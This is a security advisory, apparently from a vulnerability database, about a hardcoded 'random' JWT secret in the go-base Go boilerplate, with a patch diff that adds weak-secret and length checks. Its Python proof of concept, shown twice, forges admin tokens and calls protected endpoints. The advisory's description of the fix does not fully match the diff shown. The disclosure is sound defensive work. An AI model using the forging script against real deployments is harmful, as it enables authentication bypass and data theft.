Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery
Description
Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation
Affected
Component - github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun) - 1,685 stars on GitHub
Vulnerability
Locations
| File | Line | Role | |------|------|------| | dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users | | cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback | | auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key | | auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key | | pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |
Data
Flow
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged token
Description
The JWT signing secret is hardcoded to the string "random" in two independent locations:
- **
dev.env:10** — The template.envfile setsAUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.
- **
cmd/serve.go:35** —viper.SetDefault("auth_jwt_secret", "random")provides a programmatic fallback. Even if the.envfile is missing entirely, the application silently starts with"random"as the signing key.
The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:
- (a) Single-value check: Only the exact string
"random"was caught. Any other weak secret (e.g.,"secret","changeme", empty string) passed through unchecked. - (b) Non-persistent replacement: The auto-generated key was stored only in memory (
randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.
An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
Proof of
Concept
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "admin@example.com",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}") # 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}") # Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret
Impact
- Authentication Bypass: Forge tokens for any user, including admin roles
- Confidentiality: Access all user data, profiles, and protected resources
- Integrity: Modify any data accessible via the API
- Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)
Fix (PR #31)
The fix replaced the single-value check with a comprehensive approach:
// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}
Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.
Patched
Versions
- All versions after commit range including PR#31 (merged May 17, 2026).
- Users should update to the latest master, regenerate their JWT secret, and restart.
Resources
- Fix PR: https://github.com/dhax/go-base/pull/31
- Commit history: https://github.com/dhax/go-base/commits/master
Credit
Reported by @saaa99999999 via manual security audit.
Affected products
1Patches
1cc82b9740fa6Fix hardcoded JWT secret in dev.env and Viper default (CWE-798)
4 files changed · +214 −214
auth/jwt/errors.go+44 −42 modified@@ -1,42 +1,44 @@ -package jwt - -import ( - "errors" - "net/http" - - "github.com/go-chi/render" -) - -// The list of jwt token errors presented to the end user. -var ( - ErrTokenUnauthorized = errors.New("token unauthorized") - ErrTokenExpired = errors.New("token expired") - ErrInvalidAccessToken = errors.New("invalid access token") - ErrInvalidRefreshToken = errors.New("invalid refresh token") -) - -// ErrResponse renderer type for handling all sorts of errors. -type ErrResponse struct { - Err error `json:"-"` // low-level runtime error - HTTPStatusCode int `json:"-"` // http response status code - - StatusText string `json:"status"` // user-level status message - AppCode int64 `json:"code,omitempty"` // application-specific error code - ErrorText string `json:"error,omitempty"` // application-level error message, for debugging -} - -// Render sets the application-specific error code in AppCode. -func (e *ErrResponse) Render(w http.ResponseWriter, r *http.Request) error { - render.Status(r, e.HTTPStatusCode) - return nil -} - -// ErrUnauthorized renders status 401 Unauthorized with custom error message. -func ErrUnauthorized(err error) render.Renderer { - return &ErrResponse{ - Err: err, - HTTPStatusCode: http.StatusUnauthorized, - StatusText: http.StatusText(http.StatusUnauthorized), - ErrorText: err.Error(), - } -} +package jwt + +import ( + "errors" + "net/http" + + "github.com/go-chi/render" +) + +// The list of jwt token errors presented to the end user. +var ( + ErrTokenUnauthorized = errors.New("token unauthorized") + ErrTokenExpired = errors.New("token expired") + ErrInvalidAccessToken = errors.New("invalid access token") + ErrInvalidRefreshToken = errors.New("invalid refresh token") + ErrWeakSecret = errors.New("JWT secret uses a known default value — set AUTH_JWT_SECRET in dev.env: openssl rand -base64 64") + ErrSecretTooShort = errors.New("JWT secret is too short — must be at least 32 characters") +) + +// ErrResponse renderer type for handling all sorts of errors. +type ErrResponse struct { + Err error `json:"-"` // low-level runtime error + HTTPStatusCode int `json:"-"` // http response status code + + StatusText string `json:"status"` // user-level status message + AppCode int64 `json:"code,omitempty"` // application-specific error code + ErrorText string `json:"error,omitempty"` // application-level error message, for debugging +} + +// Render sets the application-specific error code in AppCode. +func (e *ErrResponse) Render(w http.ResponseWriter, r *http.Request) error { + render.Status(r, e.HTTPStatusCode) + return nil +} + +// ErrUnauthorized renders status 401 Unauthorized with custom error message. +func ErrUnauthorized(err error) render.Renderer { + return &ErrResponse{ + Err: err, + HTTPStatusCode: http.StatusUnauthorized, + StatusText: http.StatusText(http.StatusUnauthorized), + ErrorText: err.Error(), + } +}
auth/jwt/tokenauth.go+102 −105 modified@@ -1,105 +1,102 @@ -package jwt - -import ( - "crypto/rand" - "encoding/json" - "net/http" - "time" - - "github.com/go-chi/jwtauth/v5" - "github.com/spf13/viper" -) - -// TokenAuth implements JWT authentication flow. -type TokenAuth struct { - JwtAuth *jwtauth.JWTAuth - JwtExpiry time.Duration - JwtRefreshExpiry time.Duration -} - -// NewTokenAuth configures and returns a JWT authentication instance. -func NewTokenAuth() (*TokenAuth, error) { - secret := viper.GetString("auth_jwt_secret") - if secret == "random" { - secret = randStringBytes(32) - } - - a := &TokenAuth{ - JwtAuth: jwtauth.New("HS256", []byte(secret), nil), - JwtExpiry: viper.GetDuration("auth_jwt_expiry"), - JwtRefreshExpiry: viper.GetDuration("auth_jwt_refresh_expiry"), - } - - return a, nil -} - -// Verifier http middleware will verify a jwt string from a http request. -func (a *TokenAuth) Verifier() func(http.Handler) http.Handler { - return jwtauth.Verifier(a.JwtAuth) -} - -// GenTokenPair returns both an access token and a refresh token. -func (a *TokenAuth) GenTokenPair(accessClaims AppClaims, refreshClaims RefreshClaims) (string, string, error) { - access, err := a.CreateJWT(accessClaims) - if err != nil { - return "", "", err - } - refresh, err := a.CreateRefreshJWT(refreshClaims) - if err != nil { - return "", "", err - } - return access, refresh, nil -} - -// CreateJWT returns an access token for provided account claims. -func (a *TokenAuth) CreateJWT(c AppClaims) (string, error) { - c.IssuedAt = time.Now().Unix() - c.ExpiresAt = time.Now().Add(a.JwtExpiry).Unix() - - claims, err := ParseStructToMap(c) - if err != nil { - return "", err - } - - _, tokenString, err := a.JwtAuth.Encode(claims) - return tokenString, err -} - -func ParseStructToMap(c any) (map[string]any, error) { - var claims map[string]any - inrec, _ := json.Marshal(c) - err := json.Unmarshal(inrec, &claims) - if err != nil { - return nil, err - } - - return claims, err -} - -// CreateRefreshJWT returns a refresh token for provided token Claims. -func (a *TokenAuth) CreateRefreshJWT(c RefreshClaims) (string, error) { - c.IssuedAt = time.Now().Unix() - c.ExpiresAt = time.Now().Add(a.JwtRefreshExpiry).Unix() - - claims, err := ParseStructToMap(c) - if err != nil { - return "", err - } - - _, tokenString, err := a.JwtAuth.Encode(claims) - return tokenString, err -} - -const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - -func randStringBytes(n int) string { - buf := make([]byte, n) - if _, err := rand.Read(buf); err != nil { - panic(err) - } - - for k, v := range buf { - buf[k] = letterBytes[v%byte(len(letterBytes))] - } - return string(buf) -} +package jwt + +import ( + "encoding/json" + "net/http" + "time" + + "github.com/go-chi/jwtauth/v5" + "github.com/spf13/viper" +) + +// TokenAuth implements JWT authentication flow. +type TokenAuth struct { + JwtAuth *jwtauth.JWTAuth + JwtExpiry time.Duration + JwtRefreshExpiry time.Duration +} + +// NewTokenAuth configures and returns a JWT authentication instance. +func NewTokenAuth() (*TokenAuth, error) { + secret := viper.GetString("auth_jwt_secret") + knownWeakSecrets := map[string]bool{ + "": true, + "random": true, + "CHANGE-ME": true, + "secret": true, + "changeme": true, + "jwt_secret": true, + "your-secret-key": true, + } + if knownWeakSecrets[secret] { + return nil, ErrWeakSecret + } + if len(secret) < 32 { + return nil, ErrSecretTooShort + } + + a := &TokenAuth{ + JwtAuth: jwtauth.New("HS256", []byte(secret), nil), + JwtExpiry: viper.GetDuration("auth_jwt_expiry"), + JwtRefreshExpiry: viper.GetDuration("auth_jwt_refresh_expiry"), + } + + return a, nil +} + +// Verifier http middleware will verify a jwt string from a http request. +func (a *TokenAuth) Verifier() func(http.Handler) http.Handler { + return jwtauth.Verifier(a.JwtAuth) +} + +// GenTokenPair returns both an access token and a refresh token. +func (a *TokenAuth) GenTokenPair(accessClaims AppClaims, refreshClaims RefreshClaims) (string, string, error) { + access, err := a.CreateJWT(accessClaims) + if err != nil { + return "", "", err + } + refresh, err := a.CreateRefreshJWT(refreshClaims) + if err != nil { + return "", "", err + } + return access, refresh, nil +} + +// CreateJWT returns an access token for provided account claims. +func (a *TokenAuth) CreateJWT(c AppClaims) (string, error) { + c.IssuedAt = time.Now().Unix() + c.ExpiresAt = time.Now().Add(a.JwtExpiry).Unix() + + claims, err := ParseStructToMap(c) + if err != nil { + return "", err + } + + _, tokenString, err := a.JwtAuth.Encode(claims) + return tokenString, err +} + +func ParseStructToMap(c any) (map[string]any, error) { + var claims map[string]any + inrec, _ := json.Marshal(c) + err := json.Unmarshal(inrec, &claims) + if err != nil { + return nil, err + } + + return claims, err +} + +// CreateRefreshJWT returns a refresh token for provided token Claims. +func (a *TokenAuth) CreateRefreshJWT(c RefreshClaims) (string, error) { + c.IssuedAt = time.Now().Unix() + c.ExpiresAt = time.Now().Add(a.JwtRefreshExpiry).Unix() + + claims, err := ParseStructToMap(c) + if err != nil { + return "", err + } + + _, tokenString, err := a.JwtAuth.Encode(claims) + return tokenString, err +}
cmd/serve.go+46 −46 modified@@ -1,46 +1,46 @@ -package cmd - -import ( - "log" - - "github.com/dhax/go-base/api" - "github.com/spf13/cobra" - "github.com/spf13/viper" -) - -// serveCmd represents the serve command -var serveCmd = &cobra.Command{ - Use: "serve", - Short: "start http server with configured api", - Long: `Starts a http server and serves the configured api`, - Run: func(cmd *cobra.Command, args []string) { - server, err := api.NewServer() - if err != nil { - log.Fatal(err) - } - server.Start() - }, -} - -func init() { - RootCmd.AddCommand(serveCmd) - - // Here you will define your flags and configuration settings. - viper.SetDefault("port", "3000") - viper.SetDefault("log_level", "debug") - - viper.SetDefault("auth_login_url", "http://localhost:3000/login") - viper.SetDefault("auth_login_token_length", 8) - viper.SetDefault("auth_login_token_expiry", "11m") - viper.SetDefault("auth_jwt_secret", "random") - viper.SetDefault("auth_jwt_expiry", "15m") - viper.SetDefault("auth_jwt_refresh_expiry", "1h") - - // Cobra supports Persistent Flags which will work for this command - // and all subcommands, e.g.: - // serveCmd.PersistentFlags().String("foo", "", "A help for foo") - - // Cobra supports local flags which will only run when this command - // is called directly, e.g.: - // serveCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") -} +package cmd + +import ( + "log" + + "github.com/dhax/go-base/api" + "github.com/spf13/cobra" + "github.com/spf13/viper" +) + +// serveCmd represents the serve command +var serveCmd = &cobra.Command{ + Use: "serve", + Short: "start http server with configured api", + Long: `Starts a http server and serves the configured api`, + Run: func(cmd *cobra.Command, args []string) { + server, err := api.NewServer() + if err != nil { + log.Fatal(err) + } + server.Start() + }, +} + +func init() { + RootCmd.AddCommand(serveCmd) + + // Here you will define your flags and configuration settings. + viper.SetDefault("port", "3000") + viper.SetDefault("log_level", "debug") + + viper.SetDefault("auth_login_url", "http://localhost:3000/login") + viper.SetDefault("auth_login_token_length", 8) + viper.SetDefault("auth_login_token_expiry", "11m") + viper.SetDefault("auth_jwt_secret", "CHANGE-ME") + viper.SetDefault("auth_jwt_expiry", "15m") + viper.SetDefault("auth_jwt_refresh_expiry", "1h") + + // Cobra supports Persistent Flags which will work for this command + // and all subcommands, e.g.: + // serveCmd.PersistentFlags().String("foo", "", "A help for foo") + + // Cobra supports local flags which will only run when this command + // is called directly, e.g.: + // serveCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") +}
dev.env+22 −21 modified@@ -1,21 +1,22 @@ -PORT=3000 -LOG_LEVEL=DEBUG -LOG_TEXTLOGGING=false - -DB_DSN=postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable - -AUTH_LOGIN_URL=http://localhost:3000/login -AUTH_LOGIN_TOKEN_LENGTH=8 -AUTH_LOGIN_TOKEN_EXPIRY=11m -AUTH_JWT_SECRET=random -AUTH_JWT_EXPIRY=15m -AUTH_JWT_REFRESH_EXPIRY=1h - -EMAIL_SMTP_HOST= -EMAIL_SMTP_PORT= -EMAIL_SMTP_USER= -EMAIL_SMTP_PASSWORD= -EMAIL_FROM_ADDRESS= -EMAIL_FROM_NAME= - -ENABLE_CORS=false +PORT=3000 +LOG_LEVEL=DEBUG +LOG_TEXTLOGGING=false + +DB_DSN=postgres://postgres:postgres@localhost:5432/postgres?sslmode=disable + +AUTH_LOGIN_URL=http://localhost:3000/login +AUTH_LOGIN_TOKEN_LENGTH=8 +AUTH_LOGIN_TOKEN_EXPIRY=11m +# Generate: openssl rand -base64 64 +AUTH_JWT_SECRET= +AUTH_JWT_EXPIRY=15m +AUTH_JWT_REFRESH_EXPIRY=1h + +EMAIL_SMTP_HOST= +EMAIL_SMTP_PORT= +EMAIL_SMTP_USER= +EMAIL_SMTP_PASSWORD= +EMAIL_FROM_ADDRESS= +EMAIL_FROM_NAME= + +ENABLE_CORS=false
Vulnerability mechanics
Root cause
"The JWT signing secret is hardcoded to a weak default value in both the template environment file and as a programmatic fallback."
Attack vector
An attacker can read the public repository to discover the hardcoded JWT secret, which is set to "random" by default in `dev.env` and `cmd/serve.go` [ref_id=1]. With this knowledge, an attacker can forge JWT tokens for any user, including administrative roles. These forged tokens can then be used to bypass authentication on protected API endpoints, granting unauthorized access to data and functionality [ref_id=1].
Affected code
The vulnerability exists in the `github.com/dhax/go-base` project. Specifically, the hardcoded JWT secret is present in `dev.env` (line 10) and `cmd/serve.go` (line 35) as a default value. The flawed mitigation and token signing logic are in `auth/jwt/tokenauth.go` (lines 22-28), and token generation occurs in `pwdless/api.go` (line 203) [ref_id=1].
What the fix does
The patch addresses the vulnerability by enhancing the validation of the JWT secret in `auth/jwt/tokenauth.go` [patch_id=5478037]. It replaces the previous weak check that only looked for the literal string "random" with a comprehensive check against a map of known weak secrets. Additionally, it enforces a minimum length of 32 characters for the secret. The non-persistent auto-generation of secrets on restart was removed, and instructions for generating a strong secret were added to the template [patch_id=5478037].
Preconditions
- configThe application must be running with the default `AUTH_JWT_SECRET` value set in `dev.env` or `cmd/serve.go`.
- networkThe attacker must have network access to the target API.
Reproduction
```python import jwt import requests
# The hardcoded secret from dev.env / serve.go (public repository) SECRET = "random" BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token payload = { "sub": "admin@example.com", "roles": ["admin"], "iat": 9999999000, "exp": 9999999999 } forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin) r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers) print(f"Status: {r.status_code}") # 200 OK
# Access own profile with forged identity r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers) print(f"Profile: {r.json()}") # Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers) # Returns a new valid token signed with the same "random" secret ``` [ref_id=1]
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.